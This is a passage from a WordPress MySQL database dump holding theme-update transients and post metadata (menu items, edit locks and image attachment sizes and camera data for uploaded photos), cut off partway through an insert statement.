\";s:3:\"url\";s:45:\"https://wordpress.org/themes/twentytwentyone/\";s:7:\"package\";s:61:\"https://downloads.wordpress.org/theme/twentytwentyone.2.9.zip\";s:8:\"requires\";s:3:\"5.3\";s:12:\"requires_php\";s:3:\"5.6\";}s:17:\"twentytwentythree\";a:6:{s:5:\"theme\";s:17:\"twentytwentythree\";s:11:\"new_version\";s:3:\"1.7\";s:3:\"url\";s:47:\"https://wordpress.org/themes/twentytwentythree/\";s:7:\"package\";s:63:\"https://downloads.wordpress.org/theme/twentytwentythree.1.7.zip\";s:8:\"requires\";s:3:\"6.1\";s:12:\"requires_php\";s:3:\"5.6\";}s:15:\"twentytwentytwo\";a:6:{s:5:\"theme\";s:15:\"twentytwentytwo\";s:11:\"new_version\";s:3:\"2.2\";s:3:\"url\";s:45:\"https://wordpress.org/themes/twentytwentytwo/\";s:7:\"package\";s:61:\"https://downloads.wordpress.org/theme/twentytwentytwo.2.2.zip\";s:8:\"requires\";s:3:\"5.9\";s:12:\"requires_php\";s:3:\"5.6\";}}s:12:\"translations\";a:0:{}}','off'),
(345674,'_site_transient_timeout_theme_roots','1789399518','off'),
(345675,'_site_transient_theme_roots','a:7:{s:14:\"twentynineteen\";s:7:\"/themes\";s:12:\"twentytwenty\";s:7:\"/themes\";s:16:\"twentytwentyfive\";s:7:\"/themes\";s:16:\"twentytwentyfour\";s:7:\"/themes\";s:15:\"twentytwentyone\";s:7:\"/themes\";s:17:\"twentytwentythree\";s:7:\"/themes\";s:15:\"twentytwentytwo\";s:7:\"/themes\";}','off'),
(345678,'_site_transient_timeout_wp_theme_files_patterns-9bb2db30f18c4e73305aa47e50e6a584','1789475528','off'),
(345679,'_site_transient_wp_theme_files_patterns-9bb2db30f18c4e73305aa47e50e6a584','a:2:{s:7:\"version\";s:3:\"2.9\";s:8:\"patterns\";a:0:{}}','off'),
(345680,'_transient_doing_cron','1789473728.5989139080047607421875','on');
/*!40000 ALTER TABLE `wp4v_options` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_postmeta`
--

DROP TABLE IF EXISTS `wp4v_postmeta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_postmeta` (
  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `post_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext DEFAULT NULL,
  PRIMARY KEY (`meta_id`),
  KEY `post_id` (`post_id`),
  KEY `meta_key` (`meta_key`(191))
) ENGINE=InnoDB AUTO_INCREMENT=380 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_postmeta`
--

LOCK TABLES `wp4v_postmeta` WRITE;
/*!40000 ALTER TABLE `wp4v_postmeta` DISABLE KEYS */;
INSERT INTO `wp4v_postmeta` VALUES
(1,2,'_wp_page_template','default'),
(11,2,'_edit_lock','1783876983:1'),
(12,12,'_edit_lock','1751565149:1'),
(21,21,'_edit_lock','1615135408:1'),
(22,22,'_edit_lock','1751576255:1'),
(27,27,'_customize_changeset_uuid','be83dd4f-1f70-41f0-937e-32affcbce36f'),
(31,27,'_edit_lock','1789251585:1'),
(32,34,'_menu_item_type','post_type'),
(33,34,'_menu_item_menu_item_parent','0'),
(34,34,'_menu_item_object_id','22'),
(35,34,'_menu_item_object','page'),
(36,34,'_menu_item_target',''),
(37,34,'_menu_item_classes','a:1:{i:0;s:0:\"\";}'),
(38,34,'_menu_item_xfn',''),
(39,34,'_menu_item_url',''),
(41,35,'_menu_item_type','post_type'),
(42,35,'_menu_item_menu_item_parent','0'),
(43,35,'_menu_item_object_id','12'),
(44,35,'_menu_item_object','page'),
(45,35,'_menu_item_target',''),
(46,35,'_menu_item_classes','a:1:{i:0;s:0:\"\";}'),
(47,35,'_menu_item_xfn',''),
(48,35,'_menu_item_url',''),
(50,36,'_menu_item_type','post_type'),
(51,36,'_menu_item_menu_item_parent','0'),
(52,36,'_menu_item_object_id','2'),
(53,36,'_menu_item_object','page'),
(54,36,'_menu_item_target',''),
(55,36,'_menu_item_classes','a:1:{i:0;s:0:\"\";}'),
(56,36,'_menu_item_xfn',''),
(57,36,'_menu_item_url',''),
(59,38,'_wp_attached_file','2021/03/Trevor-Klee-a-full-time-tutor-scaled.jpg'),
(60,38,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1016;s:6:\"height\";i:2560;s:4:\"file\";s:48:\"2021/03/Trevor-Klee-a-full-time-tutor-scaled.jpg\";s:5:\"sizes\";a:6:{s:6:\"medium\";a:4:{s:4:\"file\";s:41:\"Trevor-Klee-a-full-time-tutor-119x300.jpg\";s:5:\"width\";i:119;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:42:\"Trevor-Klee-a-full-time-tutor-407x1024.jpg\";s:5:\"width\";i:407;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:41:\"Trevor-Klee-a-full-time-tutor-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:42:\"Trevor-Klee-a-full-time-tutor-768x1935.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1935;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:42:\"Trevor-Klee-a-full-time-tutor-610x1536.jpg\";s:5:\"width\";i:610;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:42:\"Trevor-Klee-a-full-time-tutor-813x2048.jpg\";s:5:\"width\";i:813;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1484062315\";s:9:\"copyright\";s:29:\"Copyright Lifetouch Inc. 2016\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"1\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:33:\"Trevor-Klee-a-full-time-tutor.jpg\";}'),
(61,40,'_edit_lock','1615351620:1'),
(62,48,'_edit_lock','1615745322:1'),
(63,54,'_edit_lock','1617987284:1'),
(64,58,'_edit_lock','1621868269:1'),
(65,71,'_edit_lock','1641568750:1'),
(72,80,'_edit_lock','1620325728:1'),
(74,85,'_edit_lock','1624557112:1'),
(75,90,'_edit_lock','1626994467:1'),
(76,91,'_wp_attached_file','2021/07/IMG_20200224_151135931-scaled.jpg'),
(77,91,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_151135931-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151135931-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151135931-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151135931-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151135931-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151135931-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151135931-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151135931-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557096\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_151135931.jpg\";}'),
(78,92,'_wp_attached_file','2021/07/IMG_20200224_150323215-scaled.jpg'),
(79,92,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_150323215-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_150323215-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_150323215-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_150323215-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_150323215-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_150323215-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_150323215-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_150323215-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582556603\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_150323215.jpg\";}'),
(80,93,'_wp_attached_file','2021/07/IMG_20200224_150323215-1-scaled.jpg'),
(81,93,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:43:\"2021/07/IMG_20200224_150323215-1-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_150323215-1-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:37:\"IMG_20200224_150323215-1-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_150323215-1-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:37:\"IMG_20200224_150323215-1-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_150323215-1-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_150323215-1-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_150323215-1-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582556603\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:28:\"IMG_20200224_150323215-1.jpg\";}'),
(82,94,'_wp_attached_file','2021/07/IMG_20200224_150623904_HDR-scaled.jpg'),
(83,95,'_wp_attached_file','2021/07/IMG_20200224_173755388-scaled.jpg'),
(84,94,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_150623904_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_150623904_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_150623904_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_150623904_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_150623904_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_150623904_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_150623904_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_150623904_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582556784\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_150623904_HDR.jpg\";}'),
(85,95,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_173755388-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173755388-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173755388-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173755388-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173755388-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173755388-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173755388-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173755388-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565875\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_173755388.jpg\";}'),
(86,96,'_wp_attached_file','2021/07/IMG_20200224_150928212_HDR-scaled.jpg'),
(87,96,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_150928212_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_150928212_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_150928212_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_150928212_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_150928212_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_150928212_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_150928212_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_150928212_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582556968\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_150928212_HDR.jpg\";}'),
(88,97,'_wp_attached_file','2021/07/IMG_20200224_151033461_HDR-scaled.jpg'),
(89,97,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_151033461_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151033461_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151033461_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151033461_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151033461_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151033461_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151033461_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151033461_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557033\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_151033461_HDR.jpg\";}'),
(90,98,'_wp_attached_file','2021/07/IMG_20200224_151048382_HDR-scaled.jpg'),
(91,98,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_151048382_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151048382_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151048382_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151048382_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151048382_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151048382_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151048382_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151048382_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557048\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:5:\"0.025\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_151048382_HDR.jpg\";}'),
(92,99,'_wp_attached_file','2021/07/IMG_20200224_151135931-1-scaled.jpg'),
(93,99,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:43:\"2021/07/IMG_20200224_151135931-1-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151135931-1-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:37:\"IMG_20200224_151135931-1-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151135931-1-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:37:\"IMG_20200224_151135931-1-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151135931-1-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151135931-1-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151135931-1-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557096\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:28:\"IMG_20200224_151135931-1.jpg\";}'),
(94,100,'_wp_attached_file','2021/07/IMG_20200224_151139139-scaled.jpg'),
